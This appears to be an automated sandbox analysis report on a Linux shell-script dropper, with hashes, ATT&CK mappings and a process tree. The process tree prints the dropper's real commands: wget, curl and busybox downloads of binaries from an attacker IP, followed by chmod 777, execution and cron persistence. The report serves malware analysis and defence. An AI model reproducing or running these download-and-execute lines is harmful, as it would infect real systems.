9b1d17c582d6613a642e6f17bbb341aeeb7f2eb8b7d8b518ac32012c6e8b6408

Analysis

max time kernel
150s
max time network
177s
platform
debian-9_armhf
resource
debian9-armhf-20240611-en
resource tags

arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
23-11-2024 22:26

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General

Target

1A1ZP_bins.sh
Size

10KB
MD5

067bacf49031140dffc75c87a55b982b
SHA1

1a8aa6e4e748ecc1869a60e3b61842f9a80084e3
SHA256

9b1d17c582d6613a642e6f17bbb341aeeb7f2eb8b7d8b518ac32012c6e8b6408
SHA512

513ef68d27873f31cede3c8d3af46ad2c9255a429b9c415482931510116735fbcf8818d2a4fa99a264cfbb10cb48dc35ff6ede5d0125bf00a6b49b20d893b15e
SSDEEP

192:mOCoaLvys0e7PbxAsA0AY9p3hh3tVV7Jpy7N10Aw4ckzWKD7/Ls7dFttVdJpSN1r:/OHW/UQ

Score

9^/10

antivm defense_evasion discovery execution persistence privilege_escalatio

Malware Config

Signatures

Contacts a large (2109) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

File and Directory Permissions Modification 1 TTPs 3 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

Processes:

chmodchmodchmod

pid	Process
709	chmod
738	chmod
695	chmod

Executes dropped EXE 3 IoCs

Processes:

pzfaNGDWYxSw82WQPlTMY5jLAvCRIiDjgWmvjNh5YuNRsODD4d1gE8Eaurfe8IltW304dFu39kgr9oOWDkRB6iv5PdFHhXEUJdzioc

ioc	pid	Process
/tmp/pzfaNGDWYxSw82WQPlTMY5jLAvCRIiDjgW	696	pzfaNGDWYxSw82WQPlTMY5jLAvCRIiDjgW
/tmp/mvjNh5YuNRsODD4d1gE8Eaurfe8IltW304	711	mvjNh5YuNRsODD4d1gE8Eaurfe8IltW304
/tmp/dFu39kgr9oOWDkRB6iv5PdFHhXEUJdzioc	741	dFu39kgr9oOWDkRB6iv5PdFHhXEUJdzioc

Renames itself 1 IoCs

Processes:

dFu39kgr9oOWDkRB6iv5PdFHhXEUJdzioc

pid	Process
742	dFu39kgr9oOWDkRB6iv5PdFHhXEUJdzioc

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalatio

Cron

T1053.003

Processes:

crontab

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.G4tReL	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Checks CPU configuration 1 TTPs 3 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

Processes:

curlcurlcurl

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

Processes:

curldFu39kgr9oOWDkRB6iv5PdFHhXEUJdzioccurlcurl

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/848/cmdline	dFu39kgr9oOWDkRB6iv5PdFHhXEUJdzioc
File opened for reading	/proc/883/cmdline	dFu39kgr9oOWDkRB6iv5PdFHhXEUJdzioc
File opened for reading	/proc/937/cmdline	dFu39kgr9oOWDkRB6iv5PdFHhXEUJdzioc
File opened for reading	/proc/1004/cmdline	dFu39kgr9oOWDkRB6iv5PdFHhXEUJdzioc
File opened for reading	/proc/610/cmdline	dFu39kgr9oOWDkRB6iv5PdFHhXEUJdzioc
File opened for reading	/proc/819/cmdline	dFu39kgr9oOWDkRB6iv5PdFHhXEUJdzioc
File opened for reading	/proc/823/cmdline	dFu39kgr9oOWDkRB6iv5PdFHhXEUJdzioc
File opened for reading	/proc/825/cmdline	dFu39kgr9oOWDkRB6iv5PdFHhXEUJdzioc
File opened for reading	/proc/884/cmdline	dFu39kgr9oOWDkRB6iv5PdFHhXEUJdzioc
File opened for reading	/proc/1019/cmdline	dFu39kgr9oOWDkRB6iv5PdFHhXEUJdzioc
File opened for reading	/proc/805/cmdline	dFu39kgr9oOWDkRB6iv5PdFHhXEUJdzioc
File opened for reading	/proc/900/cmdline	dFu39kgr9oOWDkRB6iv5PdFHhXEUJdzioc
File opened for reading	/proc/919/cmdline	dFu39kgr9oOWDkRB6iv5PdFHhXEUJdzioc
File opened for reading	/proc/956/cmdline	dFu39kgr9oOWDkRB6iv5PdFHhXEUJdzioc
File opened for reading	/proc/950/cmdline	dFu39kgr9oOWDkRB6iv5PdFHhXEUJdzioc
File opened for reading	/proc/4/cmdline	dFu39kgr9oOWDkRB6iv5PdFHhXEUJdzioc
File opened for reading	/proc/8/cmdline	dFu39kgr9oOWDkRB6iv5PdFHhXEUJdzioc
File opened for reading	/proc/831/cmdline	dFu39kgr9oOWDkRB6iv5PdFHhXEUJdzioc
File opened for reading	/proc/979/cmdline	dFu39kgr9oOWDkRB6iv5PdFHhXEUJdzioc
File opened for reading	/proc/901/cmdline	dFu39kgr9oOWDkRB6iv5PdFHhXEUJdzioc
File opened for reading	/proc/961/cmdline	dFu39kgr9oOWDkRB6iv5PdFHhXEUJdzioc
File opened for reading	/proc/1022/cmdline	dFu39kgr9oOWDkRB6iv5PdFHhXEUJdzioc
File opened for reading	/proc/5/cmdline	dFu39kgr9oOWDkRB6iv5PdFHhXEUJdzioc
File opened for reading	/proc/18/cmdline	dFu39kgr9oOWDkRB6iv5PdFHhXEUJdzioc
File opened for reading	/proc/20/cmdline	dFu39kgr9oOWDkRB6iv5PdFHhXEUJdzioc
File opened for reading	/proc/785/cmdline	dFu39kgr9oOWDkRB6iv5PdFHhXEUJdzioc
File opened for reading	/proc/796/cmdline	dFu39kgr9oOWDkRB6iv5PdFHhXEUJdzioc
File opened for reading	/proc/893/cmdline	dFu39kgr9oOWDkRB6iv5PdFHhXEUJdzioc
File opened for reading	/proc/42/cmdline	dFu39kgr9oOWDkRB6iv5PdFHhXEUJdzioc
File opened for reading	/proc/739/cmdline	dFu39kgr9oOWDkRB6iv5PdFHhXEUJdzioc
File opened for reading	/proc/771/cmdline	dFu39kgr9oOWDkRB6iv5PdFHhXEUJdzioc
File opened for reading	/proc/791/cmdline	dFu39kgr9oOWDkRB6iv5PdFHhXEUJdzioc
File opened for reading	/proc/799/cmdline	dFu39kgr9oOWDkRB6iv5PdFHhXEUJdzioc
File opened for reading	/proc/851/cmdline	dFu39kgr9oOWDkRB6iv5PdFHhXEUJdzioc
File opened for reading	/proc/879/cmdline	dFu39kgr9oOWDkRB6iv5PdFHhXEUJdzioc
File opened for reading	/proc/886/cmdline	dFu39kgr9oOWDkRB6iv5PdFHhXEUJdzioc
File opened for reading	/proc/930/cmdline	dFu39kgr9oOWDkRB6iv5PdFHhXEUJdzioc
File opened for reading	/proc/957/cmdline	dFu39kgr9oOWDkRB6iv5PdFHhXEUJdzioc
File opened for reading	/proc/19/cmdline	dFu39kgr9oOWDkRB6iv5PdFHhXEUJdzioc
File opened for reading	/proc/806/cmdline	dFu39kgr9oOWDkRB6iv5PdFHhXEUJdzioc
File opened for reading	/proc/904/cmdline	dFu39kgr9oOWDkRB6iv5PdFHhXEUJdzioc
File opened for reading	/proc/990/cmdline	dFu39kgr9oOWDkRB6iv5PdFHhXEUJdzioc
File opened for reading	/proc/6/cmdline	dFu39kgr9oOWDkRB6iv5PdFHhXEUJdzioc
File opened for reading	/proc/291/cmdline	dFu39kgr9oOWDkRB6iv5PdFHhXEUJdzioc
File opened for reading	/proc/802/cmdline	dFu39kgr9oOWDkRB6iv5PdFHhXEUJdzioc
File opened for reading	/proc/808/cmdline	dFu39kgr9oOWDkRB6iv5PdFHhXEUJdzioc
File opened for reading	/proc/854/cmdline	dFu39kgr9oOWDkRB6iv5PdFHhXEUJdzioc
File opened for reading	/proc/975/cmdline	dFu39kgr9oOWDkRB6iv5PdFHhXEUJdzioc
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/26/cmdline	dFu39kgr9oOWDkRB6iv5PdFHhXEUJdzioc
File opened for reading	/proc/150/cmdline	dFu39kgr9oOWDkRB6iv5PdFHhXEUJdzioc
File opened for reading	/proc/829/cmdline	dFu39kgr9oOWDkRB6iv5PdFHhXEUJdzioc
File opened for reading	/proc/852/cmdline	dFu39kgr9oOWDkRB6iv5PdFHhXEUJdzioc
File opened for reading	/proc/800/cmdline	dFu39kgr9oOWDkRB6iv5PdFHhXEUJdzioc
File opened for reading	/proc/803/cmdline	dFu39kgr9oOWDkRB6iv5PdFHhXEUJdzioc
File opened for reading	/proc/954/cmdline	dFu39kgr9oOWDkRB6iv5PdFHhXEUJdzioc
File opened for reading	/proc/964/cmdline	dFu39kgr9oOWDkRB6iv5PdFHhXEUJdzioc
File opened for reading	/proc/1016/cmdline	dFu39kgr9oOWDkRB6iv5PdFHhXEUJdzioc
File opened for reading	/proc/1018/cmdline	dFu39kgr9oOWDkRB6iv5PdFHhXEUJdzioc
File opened for reading	/proc/235/cmdline	dFu39kgr9oOWDkRB6iv5PdFHhXEUJdzioc
File opened for reading	/proc/834/cmdline	dFu39kgr9oOWDkRB6iv5PdFHhXEUJdzioc
File opened for reading	/proc/844/cmdline	dFu39kgr9oOWDkRB6iv5PdFHhXEUJdzioc

Writes file to tmp directory 9 IoCs

Malware often drops required files in the /tmp directory.

Processes:

wgetcurlwgetwgetcurlbusyboxbusyboxcurlbusybox

description	ioc	Process
File opened for modification	/tmp/pzfaNGDWYxSw82WQPlTMY5jLAvCRIiDjgW	wget
File opened for modification	/tmp/pzfaNGDWYxSw82WQPlTMY5jLAvCRIiDjgW	curl
File opened for modification	/tmp/mvjNh5YuNRsODD4d1gE8Eaurfe8IltW304	wget
File opened for modification	/tmp/dFu39kgr9oOWDkRB6iv5PdFHhXEUJdzioc	wget
File opened for modification	/tmp/dFu39kgr9oOWDkRB6iv5PdFHhXEUJdzioc	curl
File opened for modification	/tmp/dFu39kgr9oOWDkRB6iv5PdFHhXEUJdzioc	busybox
File opened for modification	/tmp/pzfaNGDWYxSw82WQPlTMY5jLAvCRIiDjgW	busybox
File opened for modification	/tmp/mvjNh5YuNRsODD4d1gE8Eaurfe8IltW304	curl
File opened for modification	/tmp/mvjNh5YuNRsODD4d1gE8Eaurfe8IltW304	busybox

/tmp/1A1ZP_bins.sh
/tmp/1A1ZP_bins.sh
1⤵
PID:663
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:665
- /usr/bin/wget
  wget http://87.120.125.191/bins/pzfaNGDWYxSw82WQPlTMY5jLAvCRIiDjgW
  2⤵
  - Writes file to tmp directory
  PID:671
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/pzfaNGDWYxSw82WQPlTMY5jLAvCRIiDjgW
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:686
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/pzfaNGDWYxSw82WQPlTMY5jLAvCRIiDjgW
  2⤵
  - Writes file to tmp directory
  PID:693
- /bin/chmod
  chmod 777 pzfaNGDWYxSw82WQPlTMY5jLAvCRIiDjgW
  2⤵
  - File and Directory Permissions Modification
  PID:695
- /tmp/pzfaNGDWYxSw82WQPlTMY5jLAvCRIiDjgW
  ./pzfaNGDWYxSw82WQPlTMY5jLAvCRIiDjgW
  2⤵
  - Executes dropped EXE
  PID:696
- /bin/rm
  rm pzfaNGDWYxSw82WQPlTMY5jLAvCRIiDjgW
  2⤵
  PID:699
- /usr/bin/wget
  wget http://87.120.125.191/bins/mvjNh5YuNRsODD4d1gE8Eaurfe8IltW304
  2⤵
  - Writes file to tmp directory
  PID:700
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/mvjNh5YuNRsODD4d1gE8Eaurfe8IltW304
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:701
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/mvjNh5YuNRsODD4d1gE8Eaurfe8IltW304
  2⤵
  - Writes file to tmp directory
  PID:706
- /bin/chmod
  chmod 777 mvjNh5YuNRsODD4d1gE8Eaurfe8IltW304
  2⤵
  - File and Directory Permissions Modification
  PID:709
- /tmp/mvjNh5YuNRsODD4d1gE8Eaurfe8IltW304
  ./mvjNh5YuNRsODD4d1gE8Eaurfe8IltW304
  2⤵
  - Executes dropped EXE
  PID:711
- /bin/rm
  rm mvjNh5YuNRsODD4d1gE8Eaurfe8IltW304
  2⤵
  PID:713
- /usr/bin/wget
  wget http://87.120.125.191/bins/dFu39kgr9oOWDkRB6iv5PdFHhXEUJdzioc
  2⤵
  - Writes file to tmp directory
  PID:715
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/dFu39kgr9oOWDkRB6iv5PdFHhXEUJdzioc
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:727
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/dFu39kgr9oOWDkRB6iv5PdFHhXEUJdzioc
  2⤵
  - Writes file to tmp directory
  PID:734
- /bin/chmod
  chmod 777 dFu39kgr9oOWDkRB6iv5PdFHhXEUJdzioc
  2⤵
  - File and Directory Permissions Modification
  PID:738
- /tmp/dFu39kgr9oOWDkRB6iv5PdFHhXEUJdzioc
  ./dFu39kgr9oOWDkRB6iv5PdFHhXEUJdzioc
  2⤵
  - Executes dropped EXE
  - Renames itself
  - Reads runtime system information
  PID:741
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:743
  - - /usr/bin/crontab
      crontab -l
      4⤵
      PID:744
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:746
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      PID:747
- /bin/rm
  rm dFu39kgr9oOWDkRB6iv5PdFHhXEUJdzioc
  2⤵
  PID:760
- /usr/bin/wget
  wget http://87.120.125.191/bins/j3N1aqKpI3Cm9m51UJnkLt9lMtV0oqSBXl
  2⤵
  PID:763

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

Network Service Discovery

T1046

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

/tmp/dFu39kgr9oOWDkRB6iv5PdFHhXEUJdzioc

Filesize
141KB

MD5
3ca8decdb1e52c423c521bfff02ac200

SHA1
8621ecd6807109b8541912ad9e134f6fb49bfd48

SHA256
dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f

SHA512
b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a

Download Submit
/tmp/mvjNh5YuNRsODD4d1gE8Eaurfe8IltW304

Filesize
98KB

MD5
5141342d0df8699fa32a6b066a0c592e

SHA1
8157673225bd5182f16215e2aa823a25ca2d4fbc

SHA256
54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

SHA512
d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

Download Submit
/tmp/pzfaNGDWYxSw82WQPlTMY5jLAvCRIiDjgW

Filesize
107KB

MD5
eb9c3a0de91fcf16ba17cb24608df68c

SHA1
09d95a7d70d5e115d103be51edff7c498d272fac

SHA256
dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

SHA512
9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

Download Submit
/var/spool/cron/crontabs/tmp.G4tReL

Filesize
210B

MD5
50590ac8cb61e574df836f91bb7bc701

SHA1
8163af2313c4ccfeca49fe2efb4dd6a1ad4547fb

SHA256
837ca005c9b9d27db17bf008058d93df544d89ef4cc825ff1bf5e57beba150c2

SHA512
0243b0e9f7f3625a056c2339f954ba4c33b31febc4b68a4e685eb127ab9569a73074a5dee39b74942784a50a2e7899264f436a795396f1bb54a5a9fe1cd0a27d

Download Submit